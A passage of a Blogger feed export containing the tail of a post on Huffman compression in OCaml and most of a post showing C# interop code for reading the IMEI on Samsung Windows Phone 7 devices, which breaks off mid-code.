14:&lt;/span&gt; 99% CPU &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum15"&gt;  15:&lt;/span&gt; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;Compressed = Uncompress ??&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum16"&gt;  16:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum17"&gt;  17:&lt;/span&gt; Testing... &lt;span style="color: #0000ff"&gt;dynamic&lt;/span&gt; huffman&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum18"&gt;  18:&lt;/span&gt; Compress&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum19"&gt;  19:&lt;/span&gt; 8.11 &lt;span style="color: #0000ff"&gt;user&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum20"&gt;  20:&lt;/span&gt; 0.01 system &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum21"&gt;  21:&lt;/span&gt; 0:08.13 elapsed &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum22"&gt;  22:&lt;/span&gt; 99%CPU &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum23"&gt;  23:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum24"&gt;  24:&lt;/span&gt; Uncompress&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum25"&gt;  25:&lt;/span&gt; 4.04 &lt;span style="color: #0000ff"&gt;user&lt;/span&gt; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum26"&gt;  26:&lt;/span&gt; 0.00 system &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum27"&gt;  27:&lt;/span&gt; 0:04.05 elapsed &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum28"&gt;  28:&lt;/span&gt; 99%CPU &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum29"&gt;  29:&lt;/span&gt; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;Compressed = Uncompress ??&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;As you can notice, the static version of the program is faster than the dynamic one, this is due to the fact that we optimized the the static version to use actual bits on compression / decompression, but we used &lt;strong&gt;lists&lt;/strong&gt; to represent the bits (0’s and 1’s as actual 32 bit integers!!), so that was expected.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Link for the source code : &lt;a href="https://github.com/martani/Huffman-compression--OCaml-"&gt;https://github.com/martani/Huffman-compression--OCaml-&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-7758202231753037540?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/7758202231753037540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2011/01/huffman-compression-decompression-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7758202231753037540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7758202231753037540'/><link rel='alternate' type='text/html' href='http://www.martani.net/2011/01/huffman-compression-decompression-in.html' title='Huffman Compression / Decompression in OCaml'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3144501486120008456</id><published>2010-12-31T00:14:00.001+01:00</published><updated>2010-12-31T00:23:22.233+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows phone 7'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung omnia 7'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Reading IMEI on Windows Phone 7 Devices (Samsung Only)</title><content type='html'>&lt;p&gt;This is a short post showing how to read IMEI (and other stuff if you want to walk alone over the code) on Samsung devices running Windows Phone 7.&lt;/p&gt; &lt;p&gt;This simple code uses the Samsung native DLLs for Windows Phone 7, so they (surely?) won’t work on LG or HTC devices.&lt;/p&gt; &lt;h3&gt;Requirements:&lt;/h3&gt; &lt;p&gt;If you are new to WP7 hacking, you may need some research on how to get started executing native code calls on Windows Phone 7, here are the requirements in a quick recap:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;a&amp;nbsp; &lt;strong&gt;&amp;lt;Capability Name="ID_CAP_INTEROPSERVICES" /&amp;gt;&lt;/strong&gt; inside the &lt;strong&gt;&amp;lt;Capabilities&amp;gt;&lt;/strong&gt; tag in the &lt;strong&gt;WMAppManifest.xml&lt;/strong&gt; file.  &lt;li&gt;a WPInteropManifest.xml file in the root of your solution containing:  &lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; height: 62px; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt; &lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &amp;lt;?xml version=&lt;span style="color: #006080"&gt;"1.0"&lt;/span&gt; encoding=&lt;span style="color: #006080"&gt;"UTF-8"&lt;/span&gt;?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; &amp;lt;Interop&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt; &amp;lt;/Interop&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;li&gt;The Samsung native DLLs, a hint for where to find them? &lt;a href="http://forums.create.msdn.com/forums/t/70704.aspx" target="_blank"&gt;Hack the Marketplace&lt;/a&gt;, or just &lt;a href="http://forum.xda-developers.com/showpost.php?p=9162025&amp;amp;postcount=28" target="_blank"&gt;download them from here&lt;/a&gt; :D &lt;br /&gt;&lt;li&gt;A reference to &lt;strong&gt;Microsoft.Phone.InteropServices.dll&lt;/strong&gt;, you can grab it from &lt;a href="http://forum.xda-developers.com/showpost.php?p=9162025&amp;amp;postcount=28" target="_blank"&gt;here&lt;/a&gt; and then &lt;a href="http://thounsell.co.uk/2010/11/avoiding-reflection-adding-the-interopservices-library-to-the-wp7-sdk/" target="_blank"&gt;add it to the Windows Phone 7 SDK&lt;/a&gt;. &lt;br /&gt;&lt;li&gt;In case you forgot to strong name the DLL above, here’s the last step you need (the Visual Studio command prompt must be started with admin rights) &lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; SN -Vr &lt;span style="color: #006080"&gt;"PATH-TO-DLL\Microsoft.Phone.InteropServices.dll"&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;Code :&lt;/h3&gt;After setting up everything, you can read the IMEI as following: &lt;br /&gt;&lt;div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 98.25%; padding-right: 4px; font-family: 'Courier New', courier, monospace; direction: ltr; height: 903px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper"&gt;&lt;br /&gt;&lt;div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum1"&gt;   1:&lt;/span&gt; &lt;span style="color: #0000ff"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;partial&lt;/span&gt; &lt;span style="color: #0000ff"&gt;class&lt;/span&gt; MainPage : PhoneApplicationPage&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum2"&gt;   2:&lt;/span&gt; {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum3"&gt;   3:&lt;/span&gt;     &lt;span style="color: #008000"&gt;// Constructor&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum4"&gt;   4:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;public&lt;/span&gt; MainPage()&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum5"&gt;   5:&lt;/span&gt;     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum6"&gt;   6:&lt;/span&gt;         InitializeComponent();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum7"&gt;   7:&lt;/span&gt;         &lt;span style="color: #0000ff"&gt;this&lt;/span&gt;.Loaded += &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; RoutedEventHandler(MainPage_Loaded);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum8"&gt;   8:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum9"&gt;   9:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum10"&gt;  10:&lt;/span&gt;     &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; MainPage_Loaded(&lt;span style="color: #0000ff"&gt;object&lt;/span&gt; sender, RoutedEventArgs e)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum11"&gt;  11:&lt;/span&gt;     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum12"&gt;  12:&lt;/span&gt;         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum13"&gt;  13:&lt;/span&gt;         ComBridge.RegisterComDll(&lt;span style="color: #006080"&gt;"COMRilClient.dll"&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; Guid(&lt;span style="color: #006080"&gt;"A18F6B1A-924E-4787-AA82-19F98B49CF5D"&lt;/span&gt;));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum14"&gt;  14:&lt;/span&gt;         COSecRilControl cls = &lt;span style="color: #0000ff"&gt;new&lt;/span&gt; COSecRilControl();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum15"&gt;  15:&lt;/span&gt;         ISecRilControl intrfc = (ISecRilControl)cls;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum16"&gt;  16:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum17"&gt;  17:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum18"&gt;  18:&lt;/span&gt;         &lt;span style="color: #008000"&gt;//READING THE IMEI&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum19"&gt;  19:&lt;/span&gt;         &lt;span style="color: #0000ff"&gt;string&lt;/span&gt; imei;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum20"&gt;  20:&lt;/span&gt;         intrfc.GetIMEI(&lt;span style="color: #0000ff"&gt;out&lt;/span&gt; imei);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum21"&gt;  21:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum22"&gt;  22:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum23"&gt;  23:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"&gt;&lt;span style="color: #606060" id="lnum24"&gt;  24:&lt;/span&gt; [ComImport, Guid(&lt;span style="color: #006080"&gt;"A18F6B1A-924E-4787-AA82-19F98B49CF5D"&lt;/span&gt;), ClassInterface(ClassInterfaceType.None)]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: 'Courier New', courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 